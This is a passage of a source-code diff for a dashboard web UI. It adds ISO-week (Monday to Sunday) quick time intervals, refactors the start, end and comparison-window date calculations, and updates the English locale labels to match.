aggTimewindow = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs;
subscriptionTimewindow.quickInterval = timewindow.history.quickInterval;
@ -445,7 +449,8 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
return subscriptionTimewindow;
}
function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, currentDate: moment_.Moment): number {
function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, tz?: string): number {
let currentDate;
switch (interval) {
case QuickTimeInterval.CURRENT_HOUR:
return HOUR;
@ -453,91 +458,100 @@ function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterv
case QuickTimeInterval.CURRENT_DAY_SO_FAR:
return DAY;
case QuickTimeInterval.CURRENT_WEEK:
case QuickTimeInterval.CURRENT_WEEK_ISO:
case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
return WEEK;
case QuickTimeInterval.CURRENT_MONTH:
case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
currentDate = getCurrentTime(tz);
return currentDate.endOf('month').diff(currentDate.clone().startOf('month'));
case QuickTimeInterval.CURRENT_YEAR:
case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
currentDate = getCurrentTime(tz);
return currentDate.endOf('year').diff(currentDate.clone().startOf('year'));
}
}
export function calculateIntervalEndTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number {
currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz);
switch (interval) {
case QuickTimeInterval.YESTERDAY:
currentDate.subtract(1, 'days');
return currentDate.endOf('day').valueOf();
case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
currentDate.subtract(2, 'days');
return currentDate.endOf('day').valueOf();
case QuickTimeInterval.THIS_DAY_LAST_WEEK:
currentDate.subtract(1, 'weeks');
return currentDate.endOf('day').valueOf();
case QuickTimeInterval.PREVIOUS_WEEK:
currentDate.subtract(1, 'weeks');
return currentDate.endOf('week').valueOf();
case QuickTimeInterval.PREVIOUS_MONTH:
currentDate.subtract(1, 'months');
return currentDate.endOf('month').valueOf();
case QuickTimeInterval.PREVIOUS_YEAR:
currentDate.subtract(1, 'years');
return currentDate.endOf('year').valueOf();
case QuickTimeInterval.CURRENT_HOUR:
return currentDate.endOf('hour').valueOf();
case QuickTimeInterval.CURRENT_DAY:
return currentDate.endOf('day').valueOf();
case QuickTimeInterval.CURRENT_WEEK:
return currentDate.endOf('week').valueOf();
case QuickTimeInterval.CURRENT_MONTH:
return currentDate.endOf('month').valueOf();
case QuickTimeInterval.CURRENT_YEAR:
return currentDate.endOf('year').valueOf();
case QuickTimeInterval.CURRENT_DAY_SO_FAR:
case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
return currentDate.valueOf();
}
export function calculateIntervalStartEndTime(interval: QuickTimeInterval, tz?: string): [number, number] {
const startEndTs: [number, number] = [0, 0];
const currentDate = getCurrentTime(tz);
const startDate = calculateIntervalStartTime(interval, currentDate);
startEndTs[0] = startDate.valueOf();
const endDate = calculateIntervalEndTime(interval, startDate, tz);
startEndTs[1] = endDate.valueOf();
return startEndTs;
}
export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number {
currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz);
export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment): moment_.Moment {
switch (interval) {
case QuickTimeInterval.YESTERDAY:
currentDate.subtract(1, 'days');
return currentDate.startOf('day').valueOf();
return currentDate.startOf('day');
case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
currentDate.subtract(2, 'days');
return currentDate.startOf('day').valueOf();
return currentDate.startOf('day');
case QuickTimeInterval.THIS_DAY_LAST_WEEK:
currentDate.subtract(1, 'weeks');
return currentDate.startOf('day').valueOf();
return currentDate.startOf('day');
case QuickTimeInterval.PREVIOUS_WEEK:
currentDate.subtract(1, 'weeks');
return currentDate.startOf('week').valueOf();
return currentDate.startOf('week');
case QuickTimeInterval.PREVIOUS_WEEK_ISO:
currentDate.subtract(1, 'weeks');
return currentDate.startOf('isoWeek');
case QuickTimeInterval.PREVIOUS_MONTH:
currentDate.subtract(1, 'months');
return currentDate.startOf('month').valueOf();
return currentDate.startOf('month');
case QuickTimeInterval.PREVIOUS_YEAR:
currentDate.subtract(1, 'years');
return currentDate.startOf('year').valueOf();
return currentDate.startOf('year');
case QuickTimeInterval.CURRENT_HOUR:
return currentDate.startOf('hour').valueOf();
return currentDate.startOf('hour');
case QuickTimeInterval.CURRENT_DAY:
case QuickTimeInterval.CURRENT_DAY_SO_FAR:
return currentDate.startOf('day').valueOf();
return currentDate.startOf('day');
case QuickTimeInterval.CURRENT_WEEK:
case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
return currentDate.startOf('week').valueOf();
return currentDate.startOf('week');
case QuickTimeInterval.CURRENT_WEEK_ISO:
case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
return currentDate.startOf('isoWeek');
case QuickTimeInterval.CURRENT_MONTH:
case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
return currentDate.startOf('month').valueOf();
return currentDate.startOf('month');
case QuickTimeInterval.CURRENT_YEAR:
case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
return currentDate.startOf('year');
}
}
export function calculateIntervalEndTime(interval: QuickTimeInterval, startDate: moment_.Moment, tz?: string): number {
switch (interval) {
case QuickTimeInterval.YESTERDAY:
case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
case QuickTimeInterval.THIS_DAY_LAST_WEEK:
case QuickTimeInterval.CURRENT_DAY:
return startDate.add(1, 'day').valueOf();
case QuickTimeInterval.PREVIOUS_WEEK:
case QuickTimeInterval.PREVIOUS_WEEK_ISO:
case QuickTimeInterval.CURRENT_WEEK:
case QuickTimeInterval.CURRENT_WEEK_ISO:
return startDate.add(1, 'week').valueOf();
case QuickTimeInterval.PREVIOUS_MONTH:
case QuickTimeInterval.CURRENT_MONTH:
return startDate.add(1, 'month').valueOf();
case QuickTimeInterval.PREVIOUS_YEAR:
case QuickTimeInterval.CURRENT_YEAR:
return startDate.add(1, 'year').valueOf();
case QuickTimeInterval.CURRENT_HOUR:
return startDate.add(1, 'hour').valueOf();
case QuickTimeInterval.CURRENT_DAY_SO_FAR:
case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
return currentDate.startOf('year').valueOf();
return getCurrentTime(tz).valueOf();
}
}
@ -552,8 +566,11 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number {
case QuickTimeInterval.CURRENT_DAY_SO_FAR:
return DAY;
case QuickTimeInterval.PREVIOUS_WEEK:
case QuickTimeInterval.PREVIOUS_WEEK_ISO:
case QuickTimeInterval.CURRENT_WEEK:
case QuickTimeInterval.CURRENT_WEEK_ISO:
case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
return WEEK;
case QuickTimeInterval.PREVIOUS_MONTH:
case QuickTimeInterval.CURRENT_MONTH:
@ -567,72 +584,58 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number {
}
export function calculateIntervalComparisonStartTime(interval: QuickTimeInterval,
currentDate: moment_.Moment): number {
startDate: moment_.Moment): moment_.Moment {
switch (interval) {
case QuickTimeInterval.YESTERDAY:
case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
case QuickTimeInterval.CURRENT_DAY:
case QuickTimeInterval.CURRENT_DAY_SO_FAR:
currentDate.subtract(1, 'days');
return currentDate.startOf('day').valueOf();
startDate.subtract(1, 'days');
return startDate.startOf('day');
case QuickTimeInterval.THIS_DAY_LAST_WEEK:
currentDate.subtract(1, 'weeks');
return currentDate.startOf('day').valueOf();
startDate.subtract(1, 'weeks');
return startDate.startOf('day');
case QuickTimeInterval.PREVIOUS_WEEK:
case QuickTimeInterval.CURRENT_WEEK:
case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
currentDate.subtract(1, 'weeks');
return currentDate.startOf('week').valueOf();
startDate.subtract(1, 'weeks');
return startDate.startOf('week');
case QuickTimeInterval.PREVIOUS_WEEK_ISO:
case QuickTimeInterval.CURRENT_WEEK_ISO:
case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
startDate.subtract(1, 'weeks');
return startDate.startOf('isoWeek');
case QuickTimeInterval.PREVIOUS_MONTH:
case QuickTimeInterval.CURRENT_MONTH:
case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
currentDate.subtract(1, 'months');
return currentDate.startOf('month').valueOf();
startDate.subtract(1, 'months');
return startDate.startOf('month');
case QuickTimeInterval.PREVIOUS_YEAR:
case QuickTimeInterval.CURRENT_YEAR:
case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
currentDate.subtract(1, 'years');
return currentDate.startOf('year').valueOf();
startDate.subtract(1, 'years');
return startDate.startOf('year');
case QuickTimeInterval.CURRENT_HOUR:
currentDate.subtract(1, 'hour');
return currentDate.startOf('hour').valueOf();
startDate.subtract(1, 'hour');
return startDate.startOf('hour');
}
}
export function calculateIntervalComparisonEndTime(interval: QuickTimeInterval,
currentDate: moment_.Moment): number {
comparisonStartDate: moment_.Moment,
endDate: moment_.Moment): number {
switch (interval) {
case QuickTimeInterval.YESTERDAY:
case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
case QuickTimeInterval.CURRENT_DAY:
currentDate.subtract(1, 'days');
return currentDate.endOf('day').valueOf();
case QuickTimeInterval.CURRENT_DAY_SO_FAR:
return currentDate.subtract(1, 'days').valueOf();
case QuickTimeInterval.THIS_DAY_LAST_WEEK:
currentDate.subtract(1, 'weeks');
return currentDate.endOf('day').valueOf();
case QuickTimeInterval.PREVIOUS_WEEK:
case QuickTimeInterval.CURRENT_WEEK:
currentDate.subtract(1, 'weeks');
return currentDate.endOf('week').valueOf();
return endDate.subtract(1, 'days').valueOf();
case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
return currentDate.subtract(1, 'week').valueOf();
case QuickTimeInterval.PREVIOUS_MONTH:
case QuickTimeInterval.CURRENT_MONTH:
currentDate.subtract(1, 'months');
return currentDate.endOf('month').valueOf();
case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
return endDate.subtract(1, 'week').valueOf();
case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
return currentDate.subtract(1, 'month').valueOf();
case QuickTimeInterval.PREVIOUS_YEAR:
case QuickTimeInterval.CURRENT_YEAR:
currentDate.subtract(1, 'years');
return currentDate.endOf('year').valueOf();
return endDate.subtract(1, 'month').valueOf();
case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
return currentDate.subtract(1, 'year').valueOf();
case QuickTimeInterval.CURRENT_HOUR:
currentDate.subtract(1, 'hour');
return currentDate.endOf('hour').valueOf();
return endDate.subtract(1, 'year').valueOf();
default:
return calculateIntervalEndTime(interval, comparisonStartDate);
}
}
@ -656,8 +659,9 @@ export function createTimewindowForComparison(subscriptionTimewindow: Subscripti
startDate.tz(subscriptionTimewindow.timezone);
endDate.tz(subscriptionTimewindow.timezone);
}
startTimeMs = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate);
endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, endDate);
const comparisonStartDate = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate);
startTimeMs = comparisonStartDate.valueOf();
endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, comparisonStartDate, endDate);
} else {
const timeInterval = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs;
endTimeMs = subscriptionTimewindow.fixedWindow.startTimeMs;
@ -697,22 +701,6 @@ export function cloneSelectedTimewindow(timewindow: Timewindow): Timewindow {
return cloned;
}
export function cloneSelectedHistoryTimewindow(historyWindow: HistoryWindow): HistoryWindow {
const cloned: HistoryWindow = {};
if (isDefined(historyWindow.historyType)) {
cloned.historyType = historyWindow.historyType;
cloned.interval = historyWindow.interval;
if (historyWindow.historyType === HistoryWindowType.LAST_INTERVAL) {
cloned.timewindowMs = historyWindow.timewindowMs;
} else if (historyWindow.historyType === HistoryWindowType.INTERVAL) {
cloned.quickInterval = historyWindow.quickInterval;
} else if (historyWindow.historyType === HistoryWindowType.FIXED) {
cloned.fixedTimewindow = deepClone(historyWindow.fixedTimewindow);
}
}
return cloned;
}
export interface TimeInterval {
name: string;
translateParams: {[key: string]: any};
@ -894,6 +882,14 @@ export function getCurrentTime(tz?: string): moment_.Moment {
}
}
export function getTime(ts: number, tz?: string): moment_.Moment {
if (tz) {
return moment(ts).tz(tz);
} else {
return moment(ts);
}
}
export function getTimezone(tz: string): moment_.Moment {
return moment.tz(tz);
}

9
ui-ngx/src/assets/locale/locale.constant-en_US.json

@ -2232,14 +2232,17 @@
"yesterday": "Yesterday",
"day-before-yesterday": "Day before yesterday",
"this-day-last-week": "This day last week",
"previous-week": "Previous week",
"previous-week": "Previous week (Sun - Sat)",
"previous-week-iso": "Previous week (Mon - Sun)",
"previous-month": "Previous month",
"previous-year": "Previous year",
"current-hour": "Current hour",
"current-day": "Current day",
"current-day-so-far": "Current day so far",
"current-week": "Current week",
"current-week-so-far": "Current week so far",
"current-week": "Current week (Sun - Sat)",
"current-week-iso": "Current week (Mon - Sun)",
"current-week-so-far": "Current week so far (Sun - Sat)",
"current-week-iso-so-far": "Current week so far (Mon - Sun)",
"current-month": "Current month",
"current-month-so-far": "Current month so far",
"current-year": "Current year",

Loading…
Cancel
Save